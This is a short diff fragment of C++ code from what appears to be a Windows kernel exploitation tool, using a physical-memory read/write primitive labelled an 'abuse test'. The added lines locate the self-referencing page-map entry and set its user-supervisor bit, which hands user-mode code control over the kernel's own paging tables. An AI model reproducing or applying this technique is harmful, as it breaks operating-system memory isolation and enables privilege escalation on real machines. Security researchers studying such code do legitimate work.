|
|
|
@ -50,11 +50,12 @@ int __cdecl main(int argc, char** argv)
|
|
|
|
|
return my_proc.write_phys(addr, buffer, size);
|
|
|
|
|
};
|
|
|
|
|
|
|
|
|
|
// abuse test, make a vdm using a mem_ctx...
|
|
|
|
|
vdm = vdm::vdm_ctx(_read_phys, _write_phys);
|
|
|
|
|
std::printf("[+] sleeping 30 seconds...\n");
|
|
|
|
|
Sleep(30000);
|
|
|
|
|
|
|
|
|
|
// abuse test, make a vdm using a mem_ctx...
|
|
|
|
|
vdm = vdm::vdm_ctx(_read_phys, _write_phys);
|
|
|
|
|
|
|
|
|
|
const auto current_pml4 =
|
|
|
|
|
reinterpret_cast<ppml4e>(
|
|
|
|
|
my_proc.set_page(my_proc.dirbase));
|
|
|
|
@ -69,6 +70,12 @@ int __cdecl main(int argc, char** argv)
|
|
|
|
|
std::printf(" - pfn: 0x%x\n", current_pml4[idx].pfn);
|
|
|
|
|
std::printf(" - writeable: %d\n", current_pml4[idx].writeable);
|
|
|
|
|
std::printf(" - executable: %d\n", !current_pml4[idx].nx);
|
|
|
|
|
|
|
|
|
|
if (current_pml4[idx].pfn == reinterpret_cast<std::uintptr_t>(my_proc.dirbase) >> 12)
|
|
|
|
|
{
|
|
|
|
|
std::printf(" [!]<- self referencing pml4e found at index: %d ->[!]\n", idx);
|
|
|
|
|
current_pml4[idx].user_supervisor = true; // you can manage your own paging tables now :^)
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|